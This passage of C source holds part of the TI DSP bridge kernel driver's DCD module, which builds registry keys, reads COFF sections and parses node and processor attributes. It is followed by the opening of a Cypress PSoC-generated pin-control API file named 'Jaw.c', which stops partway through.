dw_key_len; /* Len of REG key. */ char sz_obj_type[MAX_INT2CHAR_LENGTH]; /* str. rep. of obj_type. */ sz_uuid = kzalloc(MAXUUIDLEN, GFP_KERNEL); if (!sz_uuid) { status = -ENOMEM; goto func_end; } if (!hdcd_mgr) { status = -EFAULT; goto func_end; } /* Pre-determine final key length. It's length of DCD_REGKEY + * "_\0" + length of sz_obj_type string + terminating NULL */ dw_key_len = strlen(DCD_REGKEY) + 1 + sizeof(sz_obj_type) + 1; /* Create proper REG key; concatenate DCD_REGKEY with obj_type. */ strncpy(sz_reg_key, DCD_REGKEY, strlen(DCD_REGKEY) + 1); if ((strlen(sz_reg_key) + strlen("_\0")) < DCD_MAXPATHLENGTH) strncat(sz_reg_key, "_\0", 2); else status = -EPERM; status = snprintf(sz_obj_type, MAX_INT2CHAR_LENGTH, "%d", obj_type); if (status == -1) { status = -EPERM; } else { status = 0; if ((strlen(sz_reg_key) + strlen(sz_obj_type)) < DCD_MAXPATHLENGTH) { strncat(sz_reg_key, sz_obj_type, strlen(sz_obj_type) + 1); } else { status = -EPERM; } /* Create UUID value to set in registry. */ snprintf(sz_uuid, MAXUUIDLEN, "%pUL", obj_uuid); if ((strlen(sz_reg_key) + MAXUUIDLEN) < DCD_MAXPATHLENGTH) strncat(sz_reg_key, sz_uuid, MAXUUIDLEN); else status = -EPERM; /* Retrieve paths from the registry based on struct dsp_uuid */ dw_buf_size = DCD_MAXPATHLENGTH; } if (!status) { spin_lock(&dbdcd_lock); list_for_each_entry(dcd_key, &reg_key_list, link) { if (!strncmp(dcd_key->name, sz_reg_key, strlen(sz_reg_key) + 1)) break; } spin_unlock(&dbdcd_lock); if (&dcd_key->link == &reg_key_list) { status = -ENOKEY; goto func_end; } } /* Open COFF file. */ status = cod_open(dcd_mgr_obj->cod_mgr, dcd_key->path, COD_NOLOAD, &lib); if (status) { status = -EACCES; goto func_end; } /* Ensure sz_uuid + 1 is not greater than sizeof sz_sect_name. */ len = strlen(sz_uuid); if (len + 1 > sizeof(sz_sect_name)) { status = -EPERM; goto func_end; } /* Create section name based on node UUID. A period is * pre-pended to the UUID string to form the section name. * I.e. ".24BC8D90_BB45_11d4_B756_006008BDB66F" */ len -= 4; /* uuid has 4 delimiters '-' */ tmp = sz_uuid; strncpy(sz_sect_name, ".", 2); do { char *uuid = strsep(&tmp, "-"); if (!uuid) break; len -= strlen(uuid); strncat(sz_sect_name, uuid, strlen(uuid) + 1); } while (len && strncat(sz_sect_name, "_", 2)); /* Get section information. */ status = cod_get_section(lib, sz_sect_name, &ul_addr, &ul_len); if (status) { status = -EACCES; goto func_end; } /* Allocate zeroed buffer. */ psz_coff_buf = kzalloc(ul_len + 4, GFP_KERNEL); if (psz_coff_buf == NULL) { status = -ENOMEM; goto func_end; } #ifdef _DB_TIOMAP if (strstr(dcd_key->path, "iva") == NULL) { /* Locate section by objectID and read its content. */ status = cod_read_section(lib, sz_sect_name, psz_coff_buf, ul_len); } else { status = cod_read_section(lib, sz_sect_name, psz_coff_buf, ul_len); dev_dbg(bridge, "%s: Skipped Byte swap for IVA!!\n", __func__); } #else status = cod_read_section(lib, sz_sect_name, psz_coff_buf, ul_len); #endif if (!status) { /* Compress DSP buffer to conform to PC format. */ if (strstr(dcd_key->path, "iva") == NULL) { compress_buf(psz_coff_buf, ul_len, DSPWORDSIZE); } else { compress_buf(psz_coff_buf, ul_len, 1); dev_dbg(bridge, "%s: Compressing IVA COFF buffer by 1 " "for IVA!!\n", __func__); } /* Parse the content of the COFF buffer. */ status = get_attrs_from_buf(psz_coff_buf, ul_len, obj_type, obj_def); if (status) status = -EACCES; } else { status = -EACCES; } /* Free the previously allocated dynamic buffer. */ kfree(psz_coff_buf); func_end: if (lib) cod_close(lib); kfree(sz_uuid); return status; } /* * ======== dcd_get_objects ======== */ int dcd_get_objects(struct dcd_manager *hdcd_mgr, char *sz_coff_path, dcd_registerfxn register_fxn, void *handle) { struct dcd_manager *dcd_mgr_obj = hdcd_mgr; int status = 0; char *psz_coff_buf; char *psz_cur; struct cod_libraryobj *lib = NULL; u32 ul_addr = 0; /* Used by cod_get_section */ u32 ul_len = 0; /* Used by cod_get_section */ char seps[] = ":, "; char *token = NULL; struct dsp_uuid dsp_uuid_obj; s32 object_type; if (!hdcd_mgr) { status = -EFAULT; goto func_end; } /* Open DSP coff file, don't load symbols. */ status = cod_open(dcd_mgr_obj->cod_mgr, sz_coff_path, COD_NOLOAD, &lib); if (status) { status = -EACCES; goto func_cont; } /* Get DCD_RESIGER_SECTION section information. */ status = cod_get_section(lib, DCD_REGISTER_SECTION, &ul_addr, &ul_len); if (status || !(ul_len > 0)) { status = -EACCES; goto func_cont; } /* Allocate zeroed buffer. */ psz_coff_buf = kzalloc(ul_len + 4, GFP_KERNEL); if (psz_coff_buf == NULL) { status = -ENOMEM; goto func_cont; } #ifdef _DB_TIOMAP if (strstr(sz_coff_path, "iva") == NULL) { /* Locate section by objectID and read its content. */ status = cod_read_section(lib, DCD_REGISTER_SECTION, psz_coff_buf, ul_len); } else { dev_dbg(bridge, "%s: Skipped Byte swap for IVA!!\n", __func__); status = cod_read_section(lib, DCD_REGISTER_SECTION, psz_coff_buf, ul_len); } #else status = cod_read_section(lib, DCD_REGISTER_SECTION, psz_coff_buf, ul_len); #endif if (!status) { /* Compress DSP buffer to conform to PC format. */ if (strstr(sz_coff_path, "iva") == NULL) { compress_buf(psz_coff_buf, ul_len, DSPWORDSIZE); } else { compress_buf(psz_coff_buf, ul_len, 1); dev_dbg(bridge, "%s: Compress COFF buffer with 1 word " "for IVA!!\n", __func__); } /* Read from buffer and register object in buffer. */ psz_cur = psz_coff_buf; while ((token = strsep(&psz_cur, seps)) && *token != '\0') { /* Retrieve UUID string. */ uuid_uuid_from_string(token, &dsp_uuid_obj); /* Retrieve object type */ token = strsep(&psz_cur, seps); /* Retrieve object type */ object_type = atoi(token); /* * Apply register_fxn to the found DCD object. * Possible actions include: * * 1) Register found DCD object. * 2) Unregister found DCD object (when handle == NULL) * 3) Add overlay node. */ status = register_fxn(&dsp_uuid_obj, object_type, handle); if (status) { /* if error occurs, break from while loop. */ break; } } } else { status = -EACCES; } /* Free the previously allocated dynamic buffer. */ kfree(psz_coff_buf); func_cont: if (lib) cod_close(lib); func_end: return status; } /* * ======== dcd_get_library_name ======== * Purpose: * Retrieves the library name for the given UUID. * */ int dcd_get_library_name(struct dcd_manager *hdcd_mgr, struct dsp_uuid *uuid_obj, char *str_lib_name, u32 *buff_size, enum nldr_phase phase, bool *phase_split) { char sz_reg_key[DCD_MAXPATHLENGTH]; char sz_uuid[MAXUUIDLEN]; u32 dw_key_len; /* Len of REG key. */ char sz_obj_type[MAX_INT2CHAR_LENGTH]; /* str. rep. of obj_type. */ int status = 0; struct dcd_key_elem *dcd_key = NULL; dev_dbg(bridge, "%s: hdcd_mgr %p, uuid_obj %p, str_lib_name %p," " buff_size %p\n", __func__, hdcd_mgr, uuid_obj, str_lib_name, buff_size); /* * Pre-determine final key length. It's length of DCD_REGKEY + * "_\0" + length of sz_obj_type string + terminating NULL. */ dw_key_len = strlen(DCD_REGKEY) + 1 + sizeof(sz_obj_type) + 1; /* Create proper REG key; concatenate DCD_REGKEY with obj_type. */ strncpy(sz_reg_key, DCD_REGKEY, strlen(DCD_REGKEY) + 1); if ((strlen(sz_reg_key) + strlen("_\0")) < DCD_MAXPATHLENGTH) strncat(sz_reg_key, "_\0", 2); else status = -EPERM; switch (phase) { case NLDR_CREATE: /* create phase type */ sprintf(sz_obj_type, "%d", DSP_DCDCREATELIBTYPE); break; case NLDR_EXECUTE: /* execute phase type */ sprintf(sz_obj_type, "%d", DSP_DCDEXECUTELIBTYPE); break; case NLDR_DELETE: /* delete phase type */ sprintf(sz_obj_type, "%d", DSP_DCDDELETELIBTYPE); break; case NLDR_NOPHASE: /* known to be a dependent library */ sprintf(sz_obj_type, "%d", DSP_DCDLIBRARYTYPE); break; default: status = -EINVAL; } if (!status) { if ((strlen(sz_reg_key) + strlen(sz_obj_type)) < DCD_MAXPATHLENGTH) { strncat(sz_reg_key, sz_obj_type, strlen(sz_obj_type) + 1); } else { status = -EPERM; } /* Create UUID value to find match in registry. */ snprintf(sz_uuid, MAXUUIDLEN, "%pUL", uuid_obj); if ((strlen(sz_reg_key) + MAXUUIDLEN) < DCD_MAXPATHLENGTH) strncat(sz_reg_key, sz_uuid, MAXUUIDLEN); else status = -EPERM; } if (!status) { spin_lock(&dbdcd_lock); list_for_each_entry(dcd_key, &reg_key_list, link) { /* See if the name matches. */ if (!strncmp(dcd_key->name, sz_reg_key, strlen(sz_reg_key) + 1)) break; } spin_unlock(&dbdcd_lock); } if (&dcd_key->link == &reg_key_list) status = -ENOKEY; /* If can't find, phases might be registered as generic LIBRARYTYPE */ if (status && phase != NLDR_NOPHASE) { if (phase_split) *phase_split = false; strncpy(sz_reg_key, DCD_REGKEY, strlen(DCD_REGKEY) + 1); if ((strlen(sz_reg_key) + strlen("_\0")) < DCD_MAXPATHLENGTH) { strncat(sz_reg_key, "_\0", 2); } else { status = -EPERM; } sprintf(sz_obj_type, "%d", DSP_DCDLIBRARYTYPE); if ((strlen(sz_reg_key) + strlen(sz_obj_type)) < DCD_MAXPATHLENGTH) { strncat(sz_reg_key, sz_obj_type, strlen(sz_obj_type) + 1); } else { status = -EPERM; } snprintf(sz_uuid, MAXUUIDLEN, "%pUL", uuid_obj); if ((strlen(sz_reg_key) + MAXUUIDLEN) < DCD_MAXPATHLENGTH) strncat(sz_reg_key, sz_uuid, MAXUUIDLEN); else status = -EPERM; spin_lock(&dbdcd_lock); list_for_each_entry(dcd_key, &reg_key_list, link) { /* See if the name matches. */ if (!strncmp(dcd_key->name, sz_reg_key, strlen(sz_reg_key) + 1)) break; } spin_unlock(&dbdcd_lock); status = (&dcd_key->link != &reg_key_list) ? 0 : -ENOKEY; } if (!status) memcpy(str_lib_name, dcd_key->path, strlen(dcd_key->path) + 1); return status; } /* * ======== dcd_init ======== * Purpose: * Initialize the DCD module. */ bool dcd_init(void) { bool ret = true; if (refs == 0) INIT_LIST_HEAD(&reg_key_list); if (ret) refs++; return ret; } /* * ======== dcd_register_object ======== * Purpose: * Registers a node or a processor with the DCD. * If psz_path_name == NULL, unregister the specified DCD object. */ int dcd_register_object(struct dsp_uuid *uuid_obj, enum dsp_dcdobjtype obj_type, char *psz_path_name) { int status = 0; char sz_reg_key[DCD_MAXPATHLENGTH]; char sz_uuid[MAXUUIDLEN + 1]; u32 dw_path_size = 0; u32 dw_key_len; /* Len of REG key. */ char sz_obj_type[MAX_INT2CHAR_LENGTH]; /* str. rep. of obj_type. */ struct dcd_key_elem *dcd_key = NULL; dev_dbg(bridge, "%s: object UUID %p, obj_type %d, szPathName %s\n", __func__, uuid_obj, obj_type, psz_path_name); /* * Pre-determine final key length. It's length of DCD_REGKEY + * "_\0" + length of sz_obj_type string + terminating NULL. */ dw_key_len = strlen(DCD_REGKEY) + 1 + sizeof(sz_obj_type) + 1; /* Create proper REG key; concatenate DCD_REGKEY with obj_type. */ strncpy(sz_reg_key, DCD_REGKEY, strlen(DCD_REGKEY) + 1); if ((strlen(sz_reg_key) + strlen("_\0")) < DCD_MAXPATHLENGTH) strncat(sz_reg_key, "_\0", 2); else { status = -EPERM; goto func_end; } status = snprintf(sz_obj_type, MAX_INT2CHAR_LENGTH, "%d", obj_type); if (status == -1) { status = -EPERM; } else { status = 0; if ((strlen(sz_reg_key) + strlen(sz_obj_type)) < DCD_MAXPATHLENGTH) { strncat(sz_reg_key, sz_obj_type, strlen(sz_obj_type) + 1); } else status = -EPERM; /* Create UUID value to set in registry. */ snprintf(sz_uuid, MAXUUIDLEN, "%pUL", uuid_obj); if ((strlen(sz_reg_key) + MAXUUIDLEN) < DCD_MAXPATHLENGTH) strncat(sz_reg_key, sz_uuid, MAXUUIDLEN); else status = -EPERM; } if (status) goto func_end; /* * If psz_path_name != NULL, perform registration, otherwise, * perform unregistration. */ if (psz_path_name) { dw_path_size = strlen(psz_path_name) + 1; spin_lock(&dbdcd_lock); list_for_each_entry(dcd_key, &reg_key_list, link) { /* See if the name matches. */ if (!strncmp(dcd_key->name, sz_reg_key, strlen(sz_reg_key) + 1)) break; } spin_unlock(&dbdcd_lock); if (&dcd_key->link == &reg_key_list) { /* * Add new reg value (UUID+obj_type) * with COFF path info */ dcd_key = kmalloc(sizeof(struct dcd_key_elem), GFP_KERNEL); if (!dcd_key) { status = -ENOMEM; goto func_end; } dcd_key->path = kmalloc(strlen(sz_reg_key) + 1, GFP_KERNEL); if (!dcd_key->path) { kfree(dcd_key); status = -ENOMEM; goto func_end; } strncpy(dcd_key->name, sz_reg_key, strlen(sz_reg_key) + 1); strncpy(dcd_key->path, psz_path_name , dw_path_size); spin_lock(&dbdcd_lock); list_add_tail(&dcd_key->link, &reg_key_list); spin_unlock(&dbdcd_lock); } else { /* Make sure the new data is the same. */ if (strncmp(dcd_key->path, psz_path_name, dw_path_size)) { /* The caller needs a different data size! */ kfree(dcd_key->path); dcd_key->path = kmalloc(dw_path_size, GFP_KERNEL); if (dcd_key->path == NULL) { status = -ENOMEM; goto func_end; } } /* We have a match! Copy out the data. */ memcpy(dcd_key->path, psz_path_name, dw_path_size); } dev_dbg(bridge, "%s: psz_path_name=%s, dw_path_size=%d\n", __func__, psz_path_name, dw_path_size); } else { /* Deregister an existing object */ spin_lock(&dbdcd_lock); list_for_each_entry(dcd_key, &reg_key_list, link) { if (!strncmp(dcd_key->name, sz_reg_key, strlen(sz_reg_key) + 1)) { list_del(&dcd_key->link); kfree(dcd_key->path); kfree(dcd_key); break; } } spin_unlock(&dbdcd_lock); if (&dcd_key->link == &reg_key_list) status = -EPERM; } if (!status) { /* * Because the node database has been updated through a * successful object registration/de-registration operation, * we need to reset the object enumeration counter to allow * current enumerations to reflect this update in the node * database. */ enum_refs = 0; } func_end: return status; } /* * ======== dcd_unregister_object ======== * Call DCD_Register object with psz_path_name set to NULL to * perform actual object de-registration. */ int dcd_unregister_object(struct dsp_uuid *uuid_obj, enum dsp_dcdobjtype obj_type) { int status = 0; /* * When dcd_register_object is called with NULL as pathname, * it indicates an unregister object operation. */ status = dcd_register_object(uuid_obj, obj_type, NULL); return status; } /* ********************************************************************** * DCD Helper Functions ********************************************************************** */ /* * ======== atoi ======== * Purpose: * This function converts strings in decimal or hex format to integers. */ static s32 atoi(char *psz_buf) { char *pch = psz_buf; s32 base = 0; while (isspace(*pch)) pch++; if (*pch == '-' || *pch == '+') { base = 10; pch++; } else if (*pch && tolower(pch[strlen(pch) - 1]) == 'h') { base = 16; } return simple_strtoul(pch, NULL, base); } /* * ======== get_attrs_from_buf ======== * Purpose: * Parse the content of a buffer filled with DSP-side data and * retrieve an object's attributes from it. IMPORTANT: Assume the * buffer has been converted from DSP format to GPP format. */ static int get_attrs_from_buf(char *psz_buf, u32 ul_buf_size, enum dsp_dcdobjtype obj_type, struct dcd_genericobj *gen_obj) { int status = 0; char seps[] = ", "; char *psz_cur; char *token; s32 token_len = 0; u32 i = 0; #ifdef _DB_TIOMAP s32 entry_id; #endif switch (obj_type) { case DSP_DCDNODETYPE: /* * Parse COFF sect buffer to retrieve individual tokens used * to fill in object attrs. */ psz_cur = psz_buf; token = strsep(&psz_cur, seps); /* u32 cb_struct */ gen_obj->obj_data.node_obj.ndb_props.cb_struct = (u32) atoi(token); token = strsep(&psz_cur, seps); /* dsp_uuid ui_node_id */ uuid_uuid_from_string(token, &gen_obj->obj_data.node_obj.ndb_props. ui_node_id); token = strsep(&psz_cur, seps); /* ac_name */ token_len = strlen(token); if (token_len > DSP_MAXNAMELEN - 1) token_len = DSP_MAXNAMELEN - 1; strncpy(gen_obj->obj_data.node_obj.ndb_props.ac_name, token, token_len); gen_obj->obj_data.node_obj.ndb_props.ac_name[token_len] = '\0'; token = strsep(&psz_cur, seps); /* u32 ntype */ gen_obj->obj_data.node_obj.ndb_props.ntype = atoi(token); token = strsep(&psz_cur, seps); /* u32 cache_on_gpp */ gen_obj->obj_data.node_obj.ndb_props.cache_on_gpp = atoi(token); token = strsep(&psz_cur, seps); /* dsp_resourcereqmts dsp_resource_reqmts */ gen_obj->obj_data.node_obj.ndb_props.dsp_resource_reqmts. cb_struct = (u32) atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.static_data_size = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.global_data_size = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.program_mem_size = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.wc_execution_time = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.wc_period = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.wc_deadline = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.avg_exection_time = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.node_obj.ndb_props. dsp_resource_reqmts.minimum_period = atoi(token); token = strsep(&psz_cur, seps); /* s32 prio */ gen_obj->obj_data.node_obj.ndb_props.prio = atoi(token); token = strsep(&psz_cur, seps); /* u32 stack_size */ gen_obj->obj_data.node_obj.ndb_props.stack_size = atoi(token); token = strsep(&psz_cur, seps); /* u32 sys_stack_size */ gen_obj->obj_data.node_obj.ndb_props.sys_stack_size = atoi(token); token = strsep(&psz_cur, seps); /* u32 stack_seg */ gen_obj->obj_data.node_obj.ndb_props.stack_seg = atoi(token); token = strsep(&psz_cur, seps); /* u32 message_depth */ gen_obj->obj_data.node_obj.ndb_props.message_depth = atoi(token); token = strsep(&psz_cur, seps); /* u32 num_input_streams */ gen_obj->obj_data.node_obj.ndb_props.num_input_streams = atoi(token); token = strsep(&psz_cur, seps); /* u32 num_output_streams */ gen_obj->obj_data.node_obj.ndb_props.num_output_streams = atoi(token); token = strsep(&psz_cur, seps); /* u32 timeout */ gen_obj->obj_data.node_obj.ndb_props.timeout = atoi(token); token = strsep(&psz_cur, seps); /* char *str_create_phase_fxn */ token_len = strlen(token); gen_obj->obj_data.node_obj.str_create_phase_fxn = kzalloc(token_len + 1, GFP_KERNEL); strncpy(gen_obj->obj_data.node_obj.str_create_phase_fxn, token, token_len); gen_obj->obj_data.node_obj.str_create_phase_fxn[token_len] = '\0'; token = strsep(&psz_cur, seps); /* char *str_execute_phase_fxn */ token_len = strlen(token); gen_obj->obj_data.node_obj.str_execute_phase_fxn = kzalloc(token_len + 1, GFP_KERNEL); strncpy(gen_obj->obj_data.node_obj.str_execute_phase_fxn, token, token_len); gen_obj->obj_data.node_obj.str_execute_phase_fxn[token_len] = '\0'; token = strsep(&psz_cur, seps); /* char *str_delete_phase_fxn */ token_len = strlen(token); gen_obj->obj_data.node_obj.str_delete_phase_fxn = kzalloc(token_len + 1, GFP_KERNEL); strncpy(gen_obj->obj_data.node_obj.str_delete_phase_fxn, token, token_len); gen_obj->obj_data.node_obj.str_delete_phase_fxn[token_len] = '\0'; token = strsep(&psz_cur, seps); /* Segment id for message buffers */ gen_obj->obj_data.node_obj.msg_segid = atoi(token); token = strsep(&psz_cur, seps); /* Message notification type */ gen_obj->obj_data.node_obj.msg_notify_type = atoi(token); token = strsep(&psz_cur, seps); /* char *str_i_alg_name */ if (token) { token_len = strlen(token); gen_obj->obj_data.node_obj.str_i_alg_name = kzalloc(token_len + 1, GFP_KERNEL); strncpy(gen_obj->obj_data.node_obj.str_i_alg_name, token, token_len); gen_obj->obj_data.node_obj.str_i_alg_name[token_len] = '\0'; token = strsep(&psz_cur, seps); } /* Load type (static, dynamic, or overlay) */ if (token) { gen_obj->obj_data.node_obj.load_type = atoi(token); token = strsep(&psz_cur, seps); } /* Dynamic load data requirements */ if (token) { gen_obj->obj_data.node_obj.data_mem_seg_mask = atoi(token); token = strsep(&psz_cur, seps); } /* Dynamic load code requirements */ if (token) { gen_obj->obj_data.node_obj.code_mem_seg_mask = atoi(token); token = strsep(&psz_cur, seps); } /* Extract node profiles into node properties */ if (token) { gen_obj->obj_data.node_obj.ndb_props.count_profiles = atoi(token); for (i = 0; i < gen_obj->obj_data.node_obj. ndb_props.count_profiles; i++) { token = strsep(&psz_cur, seps); if (token) { /* Heap Size for the node */ gen_obj->obj_data.node_obj. ndb_props.node_profiles[i]. heap_size = atoi(token); } } } token = strsep(&psz_cur, seps); if (token) { gen_obj->obj_data.node_obj.ndb_props.stack_seg_name = (u32) (token); } break; case DSP_DCDPROCESSORTYPE: /* * Parse COFF sect buffer to retrieve individual tokens used * to fill in object attrs. */ psz_cur = psz_buf; token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.cb_struct = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.processor_family = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.processor_type = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.clock_rate = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.internal_mem_size = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.external_mem_size = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.processor_id = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.ty_running_rtos = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.node_min_priority = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.proc_info.node_max_priority = atoi(token); #ifdef _DB_TIOMAP /* Proc object may contain additional(extended) attributes. */ /* attr must match proc.hxx */ for (entry_id = 0; entry_id < 7; entry_id++) { token = strsep(&psz_cur, seps); gen_obj->obj_data.ext_proc_obj.ty_tlb[entry_id]. gpp_phys = atoi(token); token = strsep(&psz_cur, seps); gen_obj->obj_data.ext_proc_obj.ty_tlb[entry_id]. dsp_virt = atoi(token); } #endif break; default: status = -EPERM; break; } return status; } /* * ======== CompressBuffer ======== * Purpose: * Compress the DSP buffer, if necessary, to conform to PC format. */ static void compress_buf(char *psz_buf, u32 ul_buf_size, s32 char_size) { char *p; char ch; char *q; p = psz_buf; if (p == NULL) return; for (q = psz_buf; q < (psz_buf + ul_buf_size);) { ch = dsp_char2_gpp_char(q, char_size); if (ch == '\\') { q += char_size; ch = dsp_char2_gpp_char(q, char_size); switch (ch) { case 't': *p = '\t'; break; case 'n': *p = '\n'; break; case 'r': *p = '\r'; break; case '0': *p = '\0'; break; default: *p = ch; break; } } else { *p = ch; } p++; q += char_size; } /* NULL out remainder of buffer. */ while (p < q) *p++ = '\0'; } /* * ======== dsp_char2_gpp_char ======== * Purpose: * Convert DSP char to host GPP char in a portable manner */ static char dsp_char2_gpp_char(char *word, s32 dsp_char_size) { char ch = '\0'; char *ch_src; s32 i; for (ch_src = word, i = dsp_char_size; i > 0; i--) ch |= *ch_src++; return ch; } /* * ======== get_dep_lib_info ======== */ static int get_dep_lib_info(struct dcd_manager *hdcd_mgr, struct dsp_uuid *uuid_obj, u16 *num_libs, u16 *num_pers_libs, struct dsp_uuid *dep_lib_uuids, bool *prstnt_dep_libs, enum nldr_phase phase) { struct dcd_manager *dcd_mgr_obj = hdcd_mgr; char *psz_coff_buf = NULL; char *psz_cur; char *psz_file_name = NULL; struct cod_libraryobj *lib = NULL; u32 ul_addr = 0; /* Used by cod_get_section */ u32 ul_len = 0; /* Used by cod_get_section */ u32 dw_data_size = COD_MAXPATHLENGTH; char seps[] = ", "; char *token = NULL; bool get_uuids = (dep_lib_uuids != NULL); u16 dep_libs = 0; int status = 0; /* Initialize to 0 dependent libraries, if only counting number of * dependent libraries */ if (!get_uuids) { *num_libs = 0; *num_pers_libs = 0; } /* Allocate a buffer for file name */ psz_file_name = kzalloc(dw_data_size, GFP_KERNEL); if (psz_file_name == NULL) { status = -ENOMEM; } else { /* Get the name of the library */ status = dcd_get_library_name(hdcd_mgr, uuid_obj, psz_file_name, &dw_data_size, phase, NULL); } /* Open the library */ if (!status) { status = cod_open(dcd_mgr_obj->cod_mgr, psz_file_name, COD_NOLOAD, &lib); } if (!status) { /* Get dependent library section information. */ status = cod_get_section(lib, DEPLIBSECT, &ul_addr, &ul_len); if (status) { /* Ok, no dependent libraries */ ul_len = 0; status = 0; } } if (status || !(ul_len > 0)) goto func_cont; /* Allocate zeroed buffer. */ psz_coff_buf = kzalloc(ul_len + 4, GFP_KERNEL); if (psz_coff_buf == NULL) status = -ENOMEM; /* Read section contents. */ status = cod_read_section(lib, DEPLIBSECT, psz_coff_buf, ul_len); if (status) goto func_cont; /* Compress and format DSP buffer to conform to PC format. */ compress_buf(psz_coff_buf, ul_len, DSPWORDSIZE); /* Read from buffer */ psz_cur = psz_coff_buf; while ((token = strsep(&psz_cur, seps)) && *token != '\0') { if (get_uuids) { if (dep_libs >= *num_libs) { /* Gone beyond the limit */ break; } else { /* Retrieve UUID string. */ uuid_uuid_from_string(token, &(dep_lib_uuids [dep_libs])); /* Is this library persistent? */ token = strsep(&psz_cur, seps); prstnt_dep_libs[dep_libs] = atoi(token); dep_libs++; } } else { /* Advanc to next token */ token = strsep(&psz_cur, seps); if (atoi(token)) (*num_pers_libs)++; /* Just counting number of dependent libraries */ (*num_libs)++; } } func_cont: if (lib) cod_close(lib); /* Free previously allocated dynamic buffers. */ kfree(psz_file_name); kfree(psz_coff_buf); return status; }
480314.c
/******************************************************************************* * File Name: Jaw.c * Version 2.20 * * Description: * This file contains API to enable firmware control of a Pins component. * * Note: * ******************************************************************************** * Copyright 2008-2015, Cypress Semiconductor Corporation. All rights reserved. * You may use this file only in accordance with the license, terms, conditions, * disclaimers, and limitations in the end user license agreement accompanying * the software package with which this file was provided. *******************************************************************************/ #include "cytypes.h" #include "Jaw.h" /* APIs are not generated for P15[7:6] on PSoC 5 */ #if !(CY_PSOC5A &&\ Jaw__PORT == 15 && ((Jaw__MASK & 0xC0) != 0)) /******************************************************************************* * Function Name: Jaw_Write ****************************************************************************//** * * \brief Writes the value to the physical port (data output register), masking * and shifting the bits appropriately. * * The data output register controls the signal applied to the physical pin in * conjunction with the drive mode parameter. This function avoids changing * other bits in the port by using the appropriate method (read-modify-write or * bit banding). * * <b>Note</b> This function should not be used on a hardware digital output pin * as it is driven by the hardware signal attached to it. * * \param value * Value to write to the component instance. * * \return * None * * \sideeffect * If you use read-modify-write operations that are not atomic; the Interrupt * Service Routines (ISR) can cause corruption of this function. An ISR that * interrupts this function and performs writes to the Pins component data * register can cause corrupted port data. To avoid this issue, you should * either use the Per-Pin APIs (primary method) or disable interrupts around * this function. * * \funcusage * \snippet Jaw_SUT.c usage_Jaw_Write *******************************************************************************/ void Jaw_Write(uint8 value) { uint8 staticBits = (Jaw_DR & (uint8)(~Jaw_MASK)); Jaw_DR = staticBits | ((uint8)(value << Jaw_SHIFT) & Jaw_MASK); } /******************************************************************************* * Function Name: Jaw_SetDriveMode ****************************************************************************//** * * \brief Sets the drive mode for each of the Pins component's pins. * * <b>Note</b> This affects all pins in the Pins component instance. Use the * Per-Pin APIs if you wish to control individual pin's drive modes. * * \param mode * Mode for the selected signals. Valid options are documented in * \ref driveMode. * * \return * None * * \sideeffect * If you use read-modify-write operations that are not atomic, the ISR can * cause corruption of this function. An ISR that interrupts this function * and performs writes to the Pins component Drive Mode registers can cause * corrupted port data. To avoid this issue, you should either use the Per-Pin * APIs (primary method) or disable interrupts around this function. * * \funcusage * \snippet Jaw_SUT.c usage_Jaw_SetDriveMode *******************************************************************************/ void Jaw_SetDriveMode(uint8 mode) { CyPins_SetPinDriveMode(Jaw_0, mode); } /******************************************************************************* * Function Name: Jaw_Read ****************************************************************************//** * * \brief Reads the associated physical port (pin status register) and masks * the required bits according to the width and bit position of the component * instance. * * The pin's status register returns the current logic level present on the * physical pin. * * \return * The current value for the pins in the component as a right justified number. * * \funcusage * \snippet Jaw_SUT.c usage_Jaw_Read *******************************************************************************/ uint8 Jaw_Read(void) { return (Jaw_PS & Jaw_MASK) >> Jaw_SHIFT; } /******************************************************************************* * Function Name: Jaw_ReadDataReg ****************************************************************************//** * * \brief Reads the associated physical port's data output register and masks * the correct bits according to the width and bit position of the component * instance. * * The data output register controls the signal applied to the physical pin in * conjunction with the drive mode parameter. This is not the same as the * preferred Jaw_Read() API because the * Jaw_ReadDataReg() reads the data register instead of the status * register. For output pins this is a useful function to determine the value * just written to the pin. * * \return * The current value of the data register masked and shifted into a right * justified number for the component instance. * * \funcusage * \snippet Jaw_SUT.c usage_Jaw_ReadDataReg *******************************************************************************/ uint8 Jaw_ReadDataReg(void) { return (Jaw_DR & Jaw_MASK) >> Jaw_SHIFT; } /* If interrupt is connected for this Pins component */ #if defined(Jaw_INTSTAT) /******************************************************************************* * Function Name: Jaw_SetInterruptMode ****************************************************************************//** * * \brief Configures the interrupt mode for each of the Pins component's * pins. Alternatively you may set the interrupt mode for all the pins * specified in the Pins component. * * <b>Note</b> The interrupt is port-wide and therefore any enabled pin * interrupt may trigger it. * * \param position * The pin position as listed in the Pins component. You may OR these to be * able to configure the interrupt mode of multiple pins within a Pins * component. Or you may use Jaw_INTR_ALL to configure the * interrupt mode of all the pins in the Pins component. * - Jaw_0_INTR (First pin in the list) * - Jaw_1_INTR (Second pin in the list) * - ... * - Jaw_INTR_ALL (All pins in Pins component) * * \param mode * Interrupt mode for the selected pins. Valid options are documented in * \ref intrMode. * * \return * None * * \sideeffect * It is recommended that the interrupt be disabled before calling this * function to avoid unintended interrupt requests. Note that the interrupt * type is port wide, and therefore 